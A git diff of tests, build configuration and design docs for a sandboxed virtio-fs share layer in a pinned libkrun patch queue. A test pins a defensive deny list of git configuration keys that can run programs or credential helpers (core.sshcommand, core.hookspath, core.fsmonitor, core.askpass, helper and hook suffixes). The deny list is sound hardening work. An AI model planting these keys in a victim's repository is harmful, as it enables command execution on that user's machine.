a/apple/Cowork/WinterCoworkLibkrun/scripts/prepare_queue.py b/apple/Cowork/WinterCoworkLibkrun/scripts/prepare_queue.py index fc8d6000e..fbff1d711 100644 --- a/apple/Cowork/WinterCoworkLibkrun/scripts/prepare_queue.py +++ b/apple/Cowork/WinterCoworkLibkrun/scripts/prepare_queue.py @@ -1,7 +1,7 @@ """Prepare and hash-check the isolated libkrun production-profile source. Offline; never builds or launches a VM. Composes the pristine pinned libkrun tree (out/libkrun, made by fetch_inputs.py) with the patch queue -0004..0013 (the admitted two-disk fixture) and 0014..0023 (the production profile), in order, then proves: +0004..0013 (the admitted two-disk fixture) and 0014..0026 (the production profile), in order, then proves: * every patch hash and the composed full-diff hash are the pinned ones; * each production patch is exactly the git diff between two successive composed states; * the production patches stay inside their declared file scope and add no device or GPIO attach; diff --git a/apple/Cowork/WinterCoworkLibkrun/scripts/run_cargo_tests.py b/apple/Cowork/WinterCoworkLibkrun/scripts/run_cargo_tests.py index 31538d88e..1af692477 100644 --- a/apple/Cowork/WinterCoworkLibkrun/scripts/run_cargo_tests.py +++ b/apple/Cowork/WinterCoworkLibkrun/scripts/run_cargo_tests.py @@ -2,7 +2,8 @@ Runs, with the pinned offline toolchain and one thread: * production features (`blk`): the whole krun-vmm unit suite (fixed by patch 0014), the krun-devices - suites the admitted fixture ran, and the whole libkrun suite including the new production tests; + suites the admitted fixture ran plus the confined virtio-fs server's FUSE-message harness (patches 0024 and 0025) + and the guarded fs device of the shares (patch 0026), and the whole libkrun suite including the new production tests; * production-only features (`blk,cowork-production-only`): the whole libkrun suite again, with the start admission refusing any context that is not the production profile; * oracle features (`blk,cowork-fixture-oracle`): the whole libkrun suite again, so the fixture @@ -18,14 +19,14 @@ from prepare_queue import prepare # (package, features, filter) exactly as the admitted fixture ran them, plus the whole-crate suites. -DEVICE_FILTERS = ['workspace_disks', 'runtime_port', 'cowork_stream', 'cowork_rng', 'reclaim_access::tests', 'cowork_frq', 'cowork_block', 'block_bounce::tests', 'cowork_counters', 'workspace_fd_tests'] +DEVICE_FILTERS = ['workspace_disks', 'runtime_port', 'cowork_stream', 'cowork_rng', 'reclaim_access::tests', 'cowork_frq', 'cowork_block', 'block_bounce::tests', 'cowork_counters', 'workspace_fd_tests', 'fs::macos::confined', 'fs::cowork'] RUNS = ([('krun-vmm', 'blk', '')] + [('krun-devices', 'blk', name) for name in DEVICE_FILTERS] + [('libkrun', 'blk', '')] + [('libkrun', 'blk,cowork-production-only', '')] + [('libkrun', 'blk,cowork-fixture-oracle', '')]) # The same suites again under the shipped release profile (overflow checks on, debug assertions off, LTO). -RELEASE_RUNS = [('libkrun', 'blk', ''), ('libkrun', 'blk,cowork-production-only', ''), ('krun-vmm', 'blk', ''), ('krun-devices', 'blk', 'cowork_block'), ('krun-devices', 'blk', 'block_bounce::tests'), ('krun-devices', 'blk', 'workspace_disks'), ('krun-devices', 'blk', 'cowork_counters'), ('krun-devices', 'blk', 'workspace_fd_tests')] +RELEASE_RUNS = [('libkrun', 'blk', ''), ('libkrun', 'blk,cowork-production-only', ''), ('krun-vmm', 'blk', ''), ('krun-devices', 'blk', 'cowork_block'), ('krun-devices', 'blk', 'block_bounce::tests'), ('krun-devices', 'blk', 'workspace_disks'), ('krun-devices', 'blk', 'cowork_counters'), ('krun-devices', 'blk', 'workspace_fd_tests'), ('krun-devices', 'blk', 'fs::cowork')] FORBIDDEN_FLAGS = ('--ignored', '--include-ignored') LOG = [] # full cargo output of every run, written next to the receipt diff --git a/apple/Cowork/WinterCoworkLibkrun/tests/test_queue_guards.py b/apple/Cowork/WinterCoworkLibkrun/tests/test_queue_guards.py index 57d35493f..d5bb7100f 100644 --- a/apple/Cowork/WinterCoworkLibkrun/tests/test_queue_guards.py +++ b/apple/Cowork/WinterCoworkLibkrun/tests/test_queue_guards.py @@ -200,8 +200,8 @@ def test_the_upstream_pin_is_exact(self): def test_the_queue_is_contiguous_and_every_hash_matches_its_file(self): entries = self.queue['basePatches'] + self.queue['newPatches'] numbers = [int(Path(p['patchFile']).name[:4]) for p in entries] - self.assertEqual(numbers, list(range(4, 24))) - self.assertEqual([int(Path(p['patchFile']).name[:4]) for p in self.queue['newPatches']], list(range(14, 24))) + self.assertEqual(numbers, list(range(4, 27))) + self.assertEqual([int(Path(p['patchFile']).name[:4]) for p in self.queue['newPatches']], list(range(14, 27))) for entry in entries: path = ROOT / entry['patchFile'] self.assertEqual(hashlib.sha256(path.read_bytes()).hexdigest(), entry['patchSha256'], entry['patchFile']) @@ -220,7 +220,9 @@ def test_production_patches_add_no_device_and_touch_the_attach_sequence_only_whe for name in entry['allowedFiles']: self.assertFalse(name.startswith(('src/vmm/src/device_manager/', 'src/arch/')), name) if name in only_exit_path: - self.assertIn(number, (22, 23), name) + # 0026 (the share devices) sizes the reclaim budget and builds a share's fs device in the + # builder; it adds no attach call (the device-forbidden scan below). + self.assertIn(number, (22, 23, 26) if name == 'src/vmm/src/builder.rs' else (22, 23), name) text = (ROOT / entry['patchFile']).read_text() self.assertEqual(prep.scope_findings(entry['patchFile'], text, entry['allowedFiles'], self.queue['forbiddenAddedText'], self.queue['deviceForbiddenAddedText'], self.queue['deviceForbiddenExemptFiles']), []) @@ -234,7 +236,8 @@ def test_limits_inventory_and_honest_status_flags(self): text = (ROOT / 'patches/0015-proposed-cowork-production-profile.patch').read_text() for name, key in [('KRUN_COWORK_PRODUCTION_VCPUS', 'vcpus'), ('KRUN_COWORK_PRODUCTION_MIN_MEMORY_MIB', 'minMemoryMiB'), ('KRUN_COWORK_PRODUCTION_MAX_MEMORY_MIB', 'maxMemoryMiB')]: self.assertEqual(int(re.search(rf'^\+#define {name} (\d+)$', text, re.M).group(1)), self.queue['limits'][key]) - self.assertEqual(self.queue['deviceInventory'], {'virtioIds': [2, 2, 3, 4, 5], 'maxDevices': 3, 'maxPins': 48, 'maxPinnedBytes': 8388608, 'shutdownGpio': False}) + self.assertEqual(self.queue['deviceInventory'], {'virtioIds': [2, 2, 3, 4, 5], 'maxDevices': 3, 'maxPins': 48, 'maxPinnedBytes': 8388608, 'shutdownGpio': False, + 'maxShares': 12, 'shareVirtioId': 26, 'maxDevicesPerShare': 1, 'pinsPerShare': 4, 'pinnedBytesPerShare': 1114136}) for flag in ['productionReady', 'vmStarted', 'workerBuilt', 'fullResourceGatePassed']: self.assertIs(self.queue[flag], False) self.assertEqual(self.queue['features'], {'production': 'blk,cowork-production-only', 'oracle': 'blk,cowork-fixture-oracle'}) @@ -252,10 +255,10 @@ def test_hashes_are_well_formed_and_distinct(self): self.assertRegex(value, SHA.pattern) self.assertEqual(len(set(values)), 3) - def test_62_upstream_and_7_canonical_v1_exports_and_no_fixture_symbol(self): + def test_62_upstream_and_10_canonical_v1_exports_and_no_fixture_symbol(self): e = self.expected['exports'] - self.assertEqual((len(e['upstream']), len(e['cowork']), e['totalCount']), (62, 7, 69)) - self.assertEqual((e['upstreamCount'], e['coworkCount']), (62, 7)) + self.assertEqual((len(e['upstream']), len(e['cowork']), e['totalCount']), (62, 10, 72)) + self.assertEqual((e['upstreamCount'], e['coworkCount']), (62, 10)) for names in (e['upstream'], e['cowork']): self.assertEqual(names, sorted(set(names))) self.assertTrue(all(n.startswith('krun_') for n in names)) @@ -265,7 +268,7 @@ def test_62_upstream_and_7_canonical_v1_exports_and_no_fixture_symbol(self): self.assertFalse(set(e['cowork'] + e['upstream']) & {n[1:] for n in lib.FIXTURE_EXPORTS}) def test_each_production_export_is_declared_by_the_queue_header(self): - header = added_text(15, 17, 19, 21, 22) + header = added_text(15, 17, 19, 21, 22, 26) declared = set(re.findall(r'\b(krun_cowork_\w+_v1)\(', header)) self.assertEqual(declared, set(self.expected['exports']['cowork'])) @@ -317,8 +320,205 @@ def test_the_readme_names_the_abi_exactly(self): self.assertIn('no signal handler is installed', self.text) def test_the_stated_counts_match(self): - self.assertIn('20 patches, 0004-0023', self.text) - self.assertIn('69 `krun_*` symbols', self.text) + self.assertIn('23 patches, 0004-0026', self.text) + self.assertIn('72 `krun_*` symbols', self.text) + + +class ConfinedServer(unittest.TestCase): + """Patch 0024: the confined virtio-fs server core. It touches only the fs server, wires no device, export or + gate, defines the SDK constants the pinned libc crate lacks with their header lines, and its suite runs.""" + PATCH = ROOT / 'patches/0024-proposed-confined-virtiofs-server-core.patch' + FILES = ['src/devices/src/virtio/fs/macos/confined/mod.rs', 'src/devices/src/virtio/fs/macos/confined/names.rs', 'src/devices/src/virtio/fs/macos/confined/sys.rs', + 'src/devices/src/virtio/fs/macos/confined/tests.rs', 'src/devices/src/virtio/fs/macos/mod.rs', 'src/devices/src/virtio/fs/server.rs'] + + def setUp(self): + self.text = self.PATCH.read_text() + self.added = added_text(24) + + def test_it_touches_only_the_fs_server(self): + self.assertEqual(sorted(set(re.findall(r'^diff --git a/(\S+) b/', self.text, re.M))), self.FILES) + queue = json.loads((ROOT / 'patch-queue.json').read_text()) + entry = next(p for p in queue['newPatches'] if p['patchFile'] == 'patches/' + self.PATCH.name) + self.assertEqual(sorted(entry['allowedFiles']), self.FILES) + self.assertTrue(set(self.FILES[:4]) <= set(queue['allAddedFiles'])) + + def test_it_wires_no_device_export_or_gate(self): + by_file = prep.added_lines_by_file(self.text) + code = '\n'.join(l for f, lines in by_file.items() if not f.endswith('/tests.rs') for l in lines) + for needle in ['#[no_mangle]', 'extern "C"', 'fn krun_', 'krun_cowork_add_share_v1(', ' Fs::new(', 'device::Fs', 'FsServer', 'attach_', 'register_mmio', 'shm_region', 'VirtioShmRegion', 'map_sender', 'umask(']: + self.assertNotIn(needle, code, needle) + + def test_the_sdk_constants_carry_their_header_line_and_value(self): + cited = re.findall(r'/// `(sys/(?:fcntl|stdio|errno)\.h):(\d+)`: `#define (\w+) (0x[0-9a-fA-F]+|\d+)`[^\n]*\n\+pub const (\w+): c_u?int = (0x[0-9a-fA-F_]+|\d+);', self.text) + self.assertEqual(sorted(c[2] for c in cited), sorted(['O_RESOLVE_BENEATH', 'O_UNIQUE', 'AT_SYMLINK_NOFOLLOW_ANY', 'AT_RESOLVE_BENEATH', 'AT_UNIQUE', 'RENAME_NOFOLLOW_ANY', 'RENAME_RESOLVE_BENEATH', 'ENOTCAPABLE'])) + expected = {'O_RESOLVE_BENEATH': ('sys/fcntl.h', 128, 0x1000), 'O_UNIQUE': ('sys/fcntl.h', 129, 0x2000), 'AT_SYMLINK_NOFOLLOW_ANY': ('sys/fcntl.h', 184, 0x0800), + 'AT_RESOLVE_BENEATH': ('sys/fcntl.h', 185, 0x2000), 'AT_UNIQUE': ('sys/fcntl.h', 187, 0x8000), 'RENAME_NOFOLLOW_ANY': ('sys/stdio.h', 39, 0x10), + 'RENAME_RESOLVE_BENEATH': ('sys/stdio.h', 40, 0x20), 'ENOTCAPABLE': ('sys/errno.h', 265, 107)} + for header, line, macro, cited_value, name, value in cited: + self.assertEqual(macro, name) + self.assertEqual((header, int(line), int(cited_value, 0)), expected[name], name) + self.assertEqual(int(value.replace('_', ''), 0), expected[name][2], name) + + def test_the_limits_are_the_designs(self): + for line in ['pub const MAX_HANDLES: usize = 4096;', 'pub const DIR_LRU: usize = 1024;', 'pub const TIMEOUT: Duration = Duration::from_secs(1);', + 'pub const MODE_MASK: u32 = 0o777 & !0o022;', 'pub const CONFINED_MAX_PAGES: u16 = 256;', 'pub const NAME_MAX: usize = 255;']: + self.assertIn(line, self.added) + + def test_its_suite_is_run(self): + import run_cargo_tests + self.assertIn(('krun-devices', 'blk', 'fs::macos::confined'), run_cargo_tests.RUNS) + + +class GitRulesAndQuarantine(unittest.TestCase): + """Patch 0025: R15 (the git rules, as revised for H1-H5) and R16 (the quarantine tag) inside the confined server. It + touches only the confined server, wires no device, export or gate, keeps the one xattr call R7 allows, pins the design's + limits and the config allowlist, and its suite runs with the confined filter.""" + PATCH = ROOT / 'patches/0025-proposed-confined-virtiofs-git-rules-and-quarantine.patch' + DIR = 'src/devices/src/virtio/fs/macos/confined/' + NEW = ['git.rs', 'git_tests.rs', 'gitconfig.rs', 'notice.rs', 'quarantine.rs'] + CHANGED = ['mod.rs', 'sys.rs', 'tests.rs'] + + def setUp(self): + self.text = self.PATCH.read_text() + self.by_file = prep.added_lines_by_file(self.text) + self.code = {f: '\n'.join(lines) for f, lines in self.by_file.items() if not f.endswith(('/tests.rs', '/git_tests.rs'))} + + def test_it_touches_only_the_confined_server(self): + files = sorted(self.DIR + f for f in self.NEW + self.CHANGED) + self.assertEqual(sorted(set(re.findall(r'^diff --git a/(\S+) b/', self.text, re.M))), files) + queue = json.loads((ROOT / 'patch-queue.json').read_text()) + entry = next(p for p in queue['newPatches'] if p['patchFile'] == 'patches/' + self.PATCH.name) + self.assertEqual(sorted(entry['allowedFiles']), files) + self.assertEqual(sorted(re.findall(r'^diff --git a/\S+ b/(\S+)\nnew file mode', self.text, re.M)), sorted(self.DIR + f for f in self.NEW)) + self.assertTrue({self.DIR + f for f in self.NEW} <= set(queue['allAddedFiles'])) + + def test_it_wires_no_device_export_or_gate(self): + code = '\n'.join(self.code.values()) + for needle in ['#[no_mangle]', 'extern "C"', 'fn krun_', 'krun_cowork_', ' Fs::new(', 'device::Fs', 'FsServer', 'attach_', 'register_mmio', 'shm_region', 'VirtioShmRegion', 'map_sender', 'umask(', 'Command::new']: + self.assertNotIn(needle, code, needle) + + def test_the_one_xattr_call_is_the_quarantine_tag(self): + calls = {f: c.count('libc::fsetxattr(') for f, c in self.code.items() if 'libc::fsetxattr(' in c} + self.assertEqual(calls, {self.DIR + 'quarantine.rs': 1}) + self.assertIn('libc::fsetxattr(fd, QUARANTINE_NAME.as_ptr(),', self.code[self.DIR + 'quarantine.rs']) + for needle in ['libc::setxattr(', 'removexattr(', 'getxattr(', 'listxattr(']: + self.assertNotIn(needle, '\n'.join(self.code.values()), needle) + + def test_the_limits_and_the_tag_are_the_designs(self): + added = '\n'.join(self.code.values()) + for line in ['pub const POINTER_MAX: usize = 4096;', 'pub const CONFIG_MAX: u64 = 1 << 20;', 'pub const INCLUDE_DEPTH: usize = 10;', + 'pub const QUARANTINE_NAME: &CStr = c"com.apple.quarantine";', 'pub const QUARANTINE_FLAGS: &str = "0081";', + 'pub const QUARANTINE_AGENT: &str = "Winter Cowork";', 'format!("{QUARANTINE_FLAGS};{seconds:08x};{QUARANTINE_AGENT};")', + 'libc::fpathconf(fd, libc::_PC_CASE_SENSITIVE) == 1']: + self.assertIn(line, added) + + def test_the_allowlist_named_refusals_and_suffixes_are_pinned(self): + source = self.code[self.DIR + 'gitconfig.rs'] + table = lambda name: re.findall(r'"([^"]+)"', re.search(rf'pub const {name}: \[[^\]]+\]\s*=\s*\[(.*?)\];', source, re.S).group(1)) + admitted = table('ADMITTED') + self.assertEqual(admitted, ['core.repositoryformatversion', 'core.filemode', 'core.bare', 'core.logallrefupdates', 'core.ignorecase', 'core.precomposeunicode', + 'core.symlinks', 'core.sparsecheckout', 'core.sparsecheckoutcone', 'extensions.objectformat', 'extensions.worktreeconfig', + 'remote.*.url', 'remote.*.pushurl', 'remote.*.fetch', 'remote.*.tagopt', 'remote.*.prune', 'branch.*.remote', 'branch.*.merge', + 'branch.*.rebase', 'branch.*.pushremote', 'submodule.*.url', 'submodule.*.active', 'user.name', 'user.email', 'push.default', + 'rebase.autostash', 'fetch.prune', 'init.defaultbranch', 'index.sparse', 'submodule.*.update']) + self.assertEqual(table('ADMITTED_SECTIONS'), ['lfs', 'pull']) + suffixes = table('REFUSED_SUFFIXES') + self.assertEqual(suffixes, ['cmd', 'command', 'program', 'path', 'helper', 'hook', 'editor', 'pager', 'driver', 'textconv', 'proxy']) + self.assertFalse([k for k in admitted + ['core.worktree'] if k.rsplit('.', 1)[1].endswith(tuple(suffixes))]) + refused = table('NAMED_REFUSALS') + for key in ['core.worktree', 'core.fsmonitor', 'core.hookspath', 'core.sshcommand', 'core.editor', 'core.pager', 'core.askpass', 'core.gitproxy', + 'core.alternaterefscommand', 'diff.external', 'sequence.editor', 'commit.gpgsign', 'tag.gpgsign', 'push.gpgsign', 'web.browser']: + self.assertIn(key, refused) + self.assertFalse(set(refused) & set(admitted)) + + def test_the_notice_kinds_are_the_abi_values(self): + source = self.code[self.DIR + 'notice.rs'] + self.assertEqual(re.findall(r'NoticeKind::\w+ => "(\w+)"', source), ['git_protected', 'envrc', 'vscode_tasks', 'vscode_settings', 'code_workspace', 'idea_project']) + self.assertIn('pub const NOTICE_CAPACITY: usize = NoticeKind::ALL.len();', source) + + def test_its_suite_is_run(self): + import run_cargo_tests + self.assertIn(('krun-devices', 'blk', 'fs::macos::confined'), run_cargo_tests.RUNS) + self.assertIn('#[path = "git_tests.rs"]', '\n'.join(self.by_file[self.DIR + 'tests.rs'])) + + +class GuardedFsDevice(unittest.TestCase): + """Patch 0026: the guarded fs device of the shares, the R14 budget, the share ABI and the gate clause. It + leaves the confined server's module alone, builds no shared-memory region, sizes the budget as the design + computes it, declares the ABI exactly as the design's block, admits r.fs only from krun_cowork_add_share_v1, + and its suites are run.""" + PATCH = ROOT / 'patches/0026-proposed-guarded-fs-device-shares-abi-gate.patch' + ADDED = ['src/devices/src/virtio/fs/cowork.rs', 'src/devices/src/virtio/fs/cowork_tests.rs', 'src/libkrun/src/cowork_production_shares_tests.rs'] + + def setUp(self): + self.text = self.PATCH.read_text() + self.by_file = prep.added_lines_by_file(self.text) + self.queue = json.loads((ROOT / 'patch-queue.json').read_text()) + + def test_its_scope_and_new_files(self): + touched = sorted(set(re.findall(r'^diff --git a/(\S+) b/', self.text, re.M))) + entry = next(p for p in self.queue['newPatches'] if p['patchFile'] == 'patches/' + self.PATCH.name) + self.assertEqual(touched, sorted(entry['allowedFiles'])) + self.assertFalse([f for f in touched if '/fs/macos/' in f or f.endswith('/fs/server.rs')], 'the confined server is left to its own patches') + self.assertTrue(set(self.ADDED) <= set(self.queue['allAddedFiles'])) + self.assertTrue(set(self.ADDED) <= set(re.findall(r'^diff --git a/\S+ b/(\S+)\nnew file mode', self.text, re.M))) + + def test_the_bounds_and_the_budget_are_the_designs(self): + device = '\n'.join(self.by_file['src/devices/src/virtio/fs/cowork.rs']) + for line in ['pub const MAX_SHARES: usize = 12;', 'pub const TAG_MAX: usize = 32;', 'pub const MAX_CHAIN_DESCRIPTORS: usize = CONFINED_MAX_PAGES as usize + 4;', + 'pub const MAX_CHAIN_BYTES: u64 = CONFINED_MAX_PAGES as u64 * 4096 + 8192;', 'pub const MAX_HPQ_BYTES: u64 = 4096;', 'pub const PINS_PER_SHARE: usize = 4;', + 'pub const PINNED_BYTES_PER_SHARE: u64 = MAX_CHAIN_BYTES + MAX_HPQ_BYTES + 2 * RING_BYTES;']: + self.assertIn(line, device) + ring = 16 * 1024 + (6 + 2 * 1024) + (6 + 8 * 1024) + per_share = 256 * 4096 + 8192 + 4096 + 2 * ring + self.assertEqual((ring, per_share), (26636, 1114136)) + self.assertEqual((48 + 4 * 12, 8 * 1024 * 1024 + per_share * 12, 3 + 12), (96, 21758240, 15)) + disks = '\n'.join(self.by_file['src/devices/src/workspace_disks.rs']) + self.assertIn('MAX_DEVICES + shares,', disks) + self.assertIn('MAX_PINS + PINS_PER_SHARE * shares,', disks) + self.assertIn('MAX_PINNED_BYTES + PINNED_BYTES_PER_SHARE * shares as u64,', disks) + self.assertIn('devices::workspace_disks::budget(shares)', '\n'.join(self.by_file['src/vmm/src/builder.rs'])) + + def test_no_shared_memory_region_and_no_attach_call(self): + code = '\n'.join(l for f, lines in self.by_file.items() if not f.endswith('_tests.rs') for l in lines) + for needle in ['set_shm_region(', 'VirtioShmRegion {', 'create_fs_region(', 'attach_', 'register_mmio', 'add_subscriber(']: + self.assertNotIn(needle, code, needle) + self.assertIn('self.shm_region = None;', '\n'.join(self.by_file['src/devices/src/virtio/fs/device.rs'])) + + def test_the_abi_is_the_designs_block(self): + header = '\n'.join(self.by_file['include/libkrun.h']) + self.assertIn('int32_t krun_cowork_add_share_v1(uint32_t ctx_id, const char *tag, int32_t root_fd, uint32_t flags, const char *guest_path);', header) + self.assertIn('/* flags: bit 0 = read-only, bit 1 = Winter share (R5 O_UNIQUE), bit 2 = folder rules (R15); every other bit zero.', header) + self.assertIn('tag: [a-z0-9-]{1,32}, distinct. root_fd: a directory, borrowed. guest_path: the canonical guest mount path (R15 gitfiles only). */', header) + for name in ['krun_cowork_add_share_v1', 'krun_cowork_revoke_share_v1', 'krun_cowork_next_share_event_v1']: + self.assertIn('_' + name, lib.PRODUCTION_EXPORTS) + + def test_the_gate_admits_r_fs_only_from_add_share(self): + lib_rs = self.by_file['src/libkrun/src/lib.rs'] + removed = [l[1:] for l in self.text.splitlines() if l.startswith('-') and not l.startswith('---')] + self.assertTrue(any('!r.fs.is_empty()' in l for l in removed)) + self.assertTrue(any('!cowork_shares_admitted(cfg)' in l for l in lib_rs)) + self.assertEqual(sum('cowork_share: Some(' in l for l in lib_rs), 1, 'only krun_cowork_add_share_v1 builds a share entry') + self.assertEqual(sum('cowork_share: None,' in l for l in lib_rs), 3, 'krun_set_root, krun_add_virtiofs4 and the block root add none') + + def test_the_servers_notices_are_forwarded(self): + device = '\n'.join(self.by_file['src/devices/src/virtio/fs/cowork.rs']) + self.assertIn('notices: fs.notices(),', device) + self.assertIn('for kind in self.notices.drain() {', device) + self.assertIn('self.share.forward_notices();', device) + self.assertIn('share.forward_notices();', '\n'.join(self.by_file['src/libkrun/src/lib.rs'])) + + def test_a_reply_area_under_the_out_header_is_refused(self): + device = '\n'.join(self.by_file['src/devices/src/virtio/fs/cowork.rs']) + self.assertIn('pub const OUT_HEADER_BYTES: u64 = std::mem::size_of::() as u64;', device) + self.assertIn('if !reply_area_fits(index, &request, total(&writable)) {', device) + self.assertIn('if writable != 0 || index != HPQ_INDEX {', device) + self.assertIn('fn guarded_fs_a_reply_area_under_the_out_header_is_refused_before_pinning()', '\n'.join(self.by_file['src/devices/src/virtio/fs/cowork_tests.rs'])) + + def test_its_suites_are_run(self): + import run_cargo_tests + self.assertIn(('krun-devices', 'blk', 'fs::cowork'), run_cargo_tests.RUNS) + self.assertIn(('krun-devices', 'blk', 'fs::cowork'), run_cargo_tests.RELEASE_RUNS) class Composition(unittest.TestCase): @@ -468,6 +668,10 @@ def setUp(self): text = (ROOT.parents[2] / '.github/workflows/ci.yml').read_text() self.job = text[text.index('\n libkrun-queue:'):] + def test_the_composed_hash_asserted_is_the_pinned_one(self): + expected = json.loads((ROOT / 'expected-hashes.json').read_text())['composedSourceDiffSha256'] + self.assertEqual(re.findall(r"d\['fullSourceDiffSha256'\] == '([0-9a-f]{64})'", self.job), [expected]) + def test_the_scope_step_does_not_follow_renames(self): step = self.job[self.job.index('name: Is this change in scope?'):self.job.index('name: Fetch the pinned upstream source')] self.assertIn('git diff --no-renames --name-only "$from" HEAD', step) diff --git a/apple/Winter/project.yml b/apple/Winter/project.yml index 5da4289f1..caa06ee9d 100644 --- a/apple/Winter/project.yml +++ b/apple/Winter/project.yml @@ -551,6 +551,16 @@ targets: script: | set -euo pipefail "${SRCROOT}/../../scripts/embed-computer-helper.sh" + # N2 (Cowork native worker): the launcher and the VM worker, two nested tools the DAEMON spawns itself, at + # Contents/Helpers/WinterCowork. Release only (a Debug app embeds neither). The inputs are built by + # scripts/build-cowork-native.ts into dist/cowork-native (release.ts runs it first). The body (checks, per-binary signing + # with a STATED designated requirement, the pin manifest) is scripts/embed-cowork-native.sh, tested standalone by + # scripts/embed-cowork-native.test.ts. Shipping the pair activates nothing: the daemon still refuses Cowork sessions. + - name: Embed Cowork native + basedOnDependencyAnalysis: false + script: | + set -euo pipefail + "${SRCROOT}/../../scripts/embed-cowork-native.sh" # Every configuration: Winter.app's own CEF runs from the Chromium inside this helper (Debug nests # "Winter Headless Dev.app" the same way, so Winter Dev exercises the Release layout every day). - name: Embed Winter Headless diff --git a/docs/RELEASE-NOTES-cowork-schema.md b/docs/RELEASE-NOTES-cowork-schema.md index 347fc9ac6..0018e308c 100644 --- a/docs/RELEASE-NOTES-cowork-schema.md +++ b/docs/RELEASE-NOTES-cowork-schema.md @@ -1,9 +1,9 @@ -# Runtime-state schema v19 (Cowork tables) - release note draft +# Runtime-state schema v21 (Cowork tables) - release note draft -The version numbers below are pinned against `RUNTIME_STATE_SCHEMA_VERSION` by `test/cowork/schema-docs-pin.test.ts`; change them with it. +The version numbers below are pinned against `RUNTIME_STATE_SCHEMA_VERSION` (`packages/core/src/runtime-state/db.ts`); change them with it (main's `test/cowork/schema-docs-pin.test.ts` holds them once this branch lands). Draft line for the release that first carries the Cowork integration (Cowork itself stays off): -> Winter's local database (`runtimes/runtime-state.db`) moves to schema v19 on first launch. Going back to an older Winter afterwards needs one step first: quit Winter, run `winter migrate --cowork-schema --rollback` with this version's command-line tool, then install the older app. Skipping the step makes the older Winter refuse to open your sessions until the database is rolled back. +> Winter's local database (`runtimes/runtime-state.db`) moves to schema v21 on first launch. Going back to an older Winter afterwards needs one step first: quit Winter, run `winter migrate --cowork-schema --rollback` with this version's command-line tool, then install the older app. Skipping the step makes the older Winter refuse to open your sessions until the database is rolled back. -Facts for the writer: the rollback accepts v8 to v19 and drops only empty Cowork tables (it refuses with `cowork-data-present` if one has a row, which no production build can write); nothing else in the database changes. See `docs/claude/settings-and-migrations.md` (Runtime-state schema and the way back). +Facts for the writer: the rollback accepts v8 to v21 and drops only empty Cowork tables (it refuses with `cowork-data-present` if one has a row, which no production build can write); nothing else in the database changes. The step is needed for every store at v8 or higher, so an intermediate integration build (v18, v19 or v20) needs it too. See `docs/claude/settings-and-migrations.md` (Runtime-state schema v21 and the way back) for what v18 to v21 each add. diff --git a/docs/claude/cowork.md b/docs/claude/cowork.md index f1a730454..69033784c 100644 --- a/docs/claude/cowork.md +++ b/docs/claude/cowork.md @@ -2,7 +2,26 @@ *Read this before touching `packages/core/src/cowork/**`, `packages/protocol/src/cowork.ts`, `apple/Cowork/**`, the host-storage fence or `home-fence`'s Cowork roots, `refreshForStorage`, or the `workspace.*` / `project.*` methods and events.* -Cowork is not an implemented session mode: no Cowork session can be created or run, and `SpawnSession` refuses `type: "cowork"`. The protocol RECOGNISES the name (`SESSION_MODES`) so every door can refuse it typed: `session.create {mode: "cowork"}` answers `unsupported_topology` for every role, and a stored cowork row is refused rather than read as Code (see [runtime-and-sessions.md](./runtime-and-sessions.md)); there is deliberately no Cowork prompt, tool allowlist or run home. The host side exists: workspace metadata, guidance, schedules and outputs. What exists and what still blocks a functional mode: [cowork-status.md](../cowork-status.md). The design: [cowork-spec.md](../cowork-spec.md). +Cowork is not an implemented session mode: no Cowork session can be created or run, and `SpawnSession` refuses `type: "cowork"`. The protocol RECOGNISES the name (`SESSION_MODES`) so every door can refuse it typed: `session.create {mode: "cowork"}` answers `unsupported_topology` for every role, and a stored cowork row is refused rather than read as Code (see [runtime-and-sessions.md](./runtime-and-sessions.md)); there is deliberately no Cowork prompt, tool allowlist or run home. The host side exists: workspace metadata, guidance, schedules, outputs, the session-door records and (inert) the native worker, libkrun and guest-image source ([below](#native-guest-stack-on-the-integration-branch-source-only-never-booted)). What exists and what still blocks a functional mode: [cowork-status.md](../cowork-status.md). The design: [cowork-spec.md](../cowork-spec.md). + +## Native guest stack on the integration branch (source only, never booted) + +`cowork/output-integration` now holds the whole native source stack, and none of it runs: the activation seam (`cowork/native-activation.ts`, `COWORK_NATIVE_ENVIRONMENT_ACTIVATED = false`) answers `undefined`, the host-env graph loads lazily behind it (`test/cowork/host-env-lazy.test.ts`), and no VM, Hypervisor.framework call or app launch has ever been made from it. Wire contract and revision history: [cowork-native-worker.md](../cowork-native-worker.md) (revision 3 added host-backed shares, cold resume and the guest file channel). There is no NIC and no vsock anywhere in it. + +- **libkrun stack (SH2).** The libkrun patch-queue package under `apple/Cowork/` (not named by path outside CI: its anti-wiring guard refuses any other referrer) is a pinned patch queue (0004-0026) over upstream libkrun v1.19.6 with a reproducible build of one stripped archive that the worker links. Patches 0024-0026 are SH2: the confined virtio-fs server core, its git rules and quarantine, and the guarded fs device with the shares ABI gate. Nothing in the repository imports the directory (a test pins that); its README holds the pins and the rebuild steps. A release ships the worker only with the archive inputs ([release.md](./release.md#the-cowork-native-pair-is-an-explicit-choice)). +- **Host-backed shares over virtio-fs (SH6, guest side).** PID 1 (`apple/Cowork/WinterCoworkGuest/init/shares.c`) reads the virtio-fs tag inventory (it must equal the declared tags), mounts each share with `nosuid,nodev` and `dax=never` on a checked mount point's descriptor, then verifies every mount in `/proc/self/mountinfo`; any failure unmounts what it mounted. Three Winter shares are fixed: guidance at `/run/winter/shared-instructions` (read-only; PID 1 also links `/workspace/.winter/WINTER.md` to it), memory at `/workspace/.winter/memory` and outputs at `/workspace/outputs`, all `noexec`. A connected Mac folder is a guest share at `/workspace/folders/` (mode 0700 mount point, `exec` kept because builds run there, read-only when the share is). Guest ownership and modes on a share are no boundary: the host serves shares under simplified ownership. +- **Plan view.** For a conversation under policy `plan`, PID 1 makes `/workspace/plan//` (contract 12.5) for its own conversation only: owned by the conversation's tool uid alone (0700, never the workspace group), parents never symlinks, refused when a later epoch already exists. The guest supervisor admits it writable only under `plan` and never below an epoch already made; the tool launcher mounts it writable for the file worker only. +- **Environment image `/etc/gitconfig`.** The image carries a fixed system gitconfig (`scripts/cowork-guest-artifact/environment/gitconfig`, hash pinned in `pins.json`): an empty git template directory, `core.hooksPath=/dev/null`, no fsmonitor, no credential helper, no include, `protocol.ext.allow=never`. The tool launcher mounts it read-only at `/etc/gitconfig` for the process worker; `verify.py` accepts exactly those settings and refuses a stray `/etc/gitconfig`. +- **Memory root.** The memory share (`/workspace/.winter/memory`) is a host-query tool root of the guest runtime (agent SDK SH6b); the host side is the `memory` role in `WinterCoworkVM`'s 